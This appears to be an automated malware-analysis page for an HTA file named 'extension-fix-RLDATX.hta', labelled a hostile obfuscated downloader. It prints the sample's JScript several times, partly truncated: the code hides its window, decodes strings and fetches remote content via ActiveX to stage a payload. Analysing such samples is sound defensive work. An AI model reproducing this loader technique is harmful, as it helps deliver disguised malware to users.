32b2edc17005167cf0b1985b14b8e326a8eb3404de0a440113553a1d2a7a443d
JAVASCRIPT
Verdict: HOSTILE
AI
Obfuscated HTA downloader using ActiveX
Local reference
Suspicious dependency
Inferred
extension-fix-RLDATX.hta
javascript
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
Obfuscated ActiveX stages HTA document content |
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
Window moves off-screen or shrinks |
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
| 19:23 |
…162; |
|
| 20 |
var _j765 = (53*1+6) / 8; |
|
| 21 |
var qRC = Math.pow(6,3) - 19; |
|
| 22 |
var xZyAK = 74710 ^ 215; |
|
| 23 |
var vV=function(a){return String.fromCharCode.apply(null,a);}; |
Obfuscated ActiveX stages HTA document content |
| 24 |
var aSItPQ = String.fromCharCode.apply(0,[104,116])+String.fromCharCode(116)+String.fromCharCode.apply(0,[112,115]); |
|
| 25 |
var ZJcJ = 47381 ^ 147; |
|
| 26 |
var fs = [92+5,116,117,98-1,86+22,86+19,122,114-17,102+9,103+7,94+3,118,117-16,103,97,93+7,111,89+25,119-73,105-6,111,80+29]; |
|
| 27 |
var BGkZZ = String.fromCharCode(47)+String.fromC… |
|
| 43:16 |
…r _t1889254204 = "oxam"; } |
|
| 44 |
var _j312 = (25*3+0) / 7; |
|
| 45 |
var LwGn = 30653 ^ 164; |
|
| 46 |
var KdYnTi=null; |
|
| 47 |
try{ |
|
| 48 |
KdYnTi=new ActiveXObject(HP); |
Obfuscated ActiveX stages HTA document content |
| 49 |
KdYnTi[MXcUeA](wb,AjuETC,false); |
|
| 50 |
KdYnTi[vzB](); |
|
| 51 |
if(KdYnTi[PXVZF]==200){ |
|
| 52 |
document[BtI](KdYnTi[RATJ]); |
|
| 53 |
document[iGgRY](); |
|
| 54 |
}else{window.close();} |
|
| 55 |
}catch(e){window.close();} |
|
| 56 |
void 147; |
|
| 57 |
void 0; |
|
| 58 |
})(); |
|
| 59 |
</script> |
|
| 60 |
</head> |
|
| 61 |
<body></body> |
|
| 62 |
</html> |
|
Objectives
| 43:16 |
…r _t1889254204 = "oxam"; } |
|
| 44 |
var _j312 = (25*3+0) / 7; |
|
| 45 |
var LwGn = 30653 ^ 164; |
|
| 46 |
var KdYnTi=null; |
|
| 47 |
try{ |
|
| 48 |
KdYnTi=new ActiveXObject(HP); |
|
| 49 |
KdYnTi[MXcUeA](wb,AjuETC,false); |
|
| 50 |
KdYnTi[vzB](); |
|
| 51 |
if(KdYnTi[PXVZF]==200){ |
|
| 52 |
document[BtI](KdYnTi[RATJ]); |
|
| 53 |
document[iGgRY](); |
|
| 54 |
}else{window.close();} |
|
| 55 |
}catch(e){window.close();} |
|
| 56 |
void 147; |
|
| 57 |
void 0; |
|
| 58 |
})(); |
|
| 59 |
</script> |
|
| 60 |
</head> |
|
| 61 |
<body></body> |
|
| 62 |
</html> |
|
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
| 19:23 |
…162; |
|
| 20 |
var _j765 = (53*1+6) / 8; |
|
| 21 |
var qRC = Math.pow(6,3) - 19; |
|
| 22 |
var xZyAK = 74710 ^ 215; |
|
| 23 |
var vV=function(a){return String.fromCharCode.apply(null,a);}; |
|
| 24 |
var aSItPQ = String.fromCharCode.apply(0,[104,116])+String.fromCharCode(116)+String.fromCharCode.apply(0,[112,115]); |
|
| 25 |
var ZJcJ = 47381 ^ 147; |
|
| 26 |
var fs = [92+5,116,117,98-1,86+22,86+19,122,114-17,102+9,103+7,94+3,118,117-16,103,97,93+7,111,89+25,119-73,105-6,111,80+29]; |
|
| 27 |
var BGkZZ = String.fromCharCode(47)+String.fromC… |
|
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
Micro-behaviors
| 19:23 |
…162; |
|
| 20 |
var _j765 = (53*1+6) / 8; |
|
| 21 |
var qRC = Math.pow(6,3) - 19; |
|
| 22 |
var xZyAK = 74710 ^ 215; |
|
| 23 |
var vV=function(a){return String.fromCharCode.apply(null,a);}; |
|
| 24 |
var aSItPQ = String.fromCharCode.apply(0,[104,116])+String.fromCharCode(116)+String.fromCharCode.apply(0,[112,115]); |
|
| 25 |
var ZJcJ = 47381 ^ 147; |
|
| 26 |
var fs = [92+5,116,117,98-1,86+22,86+19,122,114-17,102+9,103+7,94+3,118,117-16,103,97,93+7,111,89+25,119-73,105-6,111,80+29]; |
|
| 27 |
var BGkZZ = String.fromCharCode(47)+String.fromC… |
|
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
| 19:23 |
…162; |
|
| 20 |
var _j765 = (53*1+6) / 8; |
|
| 21 |
var qRC = Math.pow(6,3) - 19; |
|
| 22 |
var xZyAK = 74710 ^ 215; |
|
| 23 |
var vV=function(a){return String.fromCharCode.apply(null,a);}; |
|
| 24 |
var aSItPQ = String.fromCharCode.apply(0,[104,116])+String.fromCharCode(116)+String.fromCharCode.apply(0,[112,115]); |
|
| 25 |
var ZJcJ = 47381 ^ 147; |
|
| 26 |
var fs = [92+5,116,117,98-1,86+22,86+19,122,114-17,102+9,103+7,94+3,118,117-16,103,97,93+7,111,89+25,119-73,105-6,111,80+29]; |
|
| 27 |
var BGkZZ = String.fromCharCode(47)+String.fromC… |
|
| 43:16 |
…r _t1889254204 = "oxam"; } |
|
| 44 |
var _j312 = (25*3+0) / 7; |
|
| 45 |
var LwGn = 30653 ^ 164; |
|
| 46 |
var KdYnTi=null; |
|
| 47 |
try{ |
|
| 48 |
KdYnTi=new ActiveXObject(HP); |
|
| 49 |
KdYnTi[MXcUeA](wb,AjuETC,false); |
|
| 50 |
KdYnTi[vzB](); |
|
| 51 |
if(KdYnTi[PXVZF]==200){ |
|
| 52 |
document[BtI](KdYnTi[RATJ]); |
|
| 53 |
document[iGgRY](); |
|
| 54 |
}else{window.close();} |
|
| 55 |
}catch(e){window.close();} |
|
| 56 |
void 147; |
|
| 57 |
void 0; |
|
| 58 |
})(); |
|
| 59 |
</script> |
|
| 60 |
</head> |
|
| 61 |
<body></body> |
|
| 62 |
</html> |
|
| 43:16 |
…r _t1889254204 = "oxam"; } |
|
| 44 |
var _j312 = (25*3+0) / 7; |
|
| 45 |
var LwGn = 30653 ^ 164; |
|
| 46 |
var KdYnTi=null; |
|
| 47 |
try{ |
|
| 48 |
KdYnTi=new ActiveXObject(HP); |
|
| 49 |
KdYnTi[MXcUeA](wb,AjuETC,false); |
|
| 50 |
KdYnTi[vzB](); |
|
| 51 |
if(KdYnTi[PXVZF]==200){ |
|
| 52 |
document[BtI](KdYnTi[RATJ]); |
|
| 53 |
document[iGgRY](); |
|
| 54 |
}else{window.close();} |
|
| 55 |
}catch(e){window.close();} |
|
| 56 |
void 147; |
|
| 57 |
void 0; |
|
| 58 |
})(); |
|
| 59 |
</script> |
|
| 60 |
</head> |
|
| 61 |
<body></body> |
|
| 62 |
</html> |
|
| 43:16 |
…r _t1889254204 = "oxam"; } |
|
| 44 |
var _j312 = (25*3+0) / 7; |
|
| 45 |
var LwGn = 30653 ^ 164; |
|
| 46 |
var KdYnTi=null; |
|
| 47 |
try{ |
|
| 48 |
KdYnTi=new ActiveXObject(HP); |
|
| 49 |
KdYnTi[MXcUeA](wb,AjuETC,false); |
|
| 50 |
KdYnTi[vzB](); |
|
| 51 |
if(KdYnTi[PXVZF]==200){ |
|
| 52 |
document[BtI](KdYnTi[RATJ]); |
|
| 53 |
document[iGgRY](); |
|
| 54 |
}else{window.close();} |
|
| 55 |
}catch(e){window.close();} |
|
| 56 |
void 147; |
|
| 57 |
void 0; |
|
| 58 |
})(); |
|
| 59 |
</script> |
|
| 60 |
</head> |
|
| 61 |
<body></body> |
|
| 62 |
</html> |
|
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
Metadata
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
Third-party
| 1 |
<html> |
|
| 2 |
<head> |
|
| 3 |
<title>Loading</title> |
|
| 4 |
<HTA:APPLICATION ID="a" APPLICATIONNAME="a" SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize" BORDER="none" CAPTION="no" /> |
|
| 5 |
|
|
| 6 |
<script language="JScript"> |
|
| 7 |
(function(){ |
|
| 8 |
window.resizeTo(1,1); |
|
| 9 |
window.moveTo(-2530,-2524); |
|
| 10 |
var ivLAU = 43033 ^ 204; |
|
| 11 |
var _j568 = (94*3+7) / 8; |
|
| 12 |
var _j112 = (31*1+7) / 1; |
|
| 13 |
var kicd = 39509 ^ 125; |
|
| 14 |
var Zy = Math.pow(8,3) - 5; |
|
| 15 |
if (0) { var _t1043819382 … |
|
Identity
| SHA-256 |
32b2edc17005167cf0b1985b14b8e326a8eb3404de0a440113553a1d2a7a443d |
| Filename |
extension-fix-RLDATX.hta |
| Package |
32b2edc17005167cf0b1985b14b8e326a8eb3404de0a440113553a1d2a7a443d |
Origin
| Source |
harvest |
| Feed |
malwarebazaar |
| Domain |
abuse.ch |
Timeline
| First seen |
3 Aug 2026 07:42 UTC |
| First analyzed |
3 Aug 2026 12:20 UTC |
| Last analyzed |
3 Aug 2026 14:17 UTC |
| Last updated |
3 Aug 2026 14:17 UTC |
Labeling
| Label |
bad |
| Label source |
harvest |
| Traits version |
96ebe |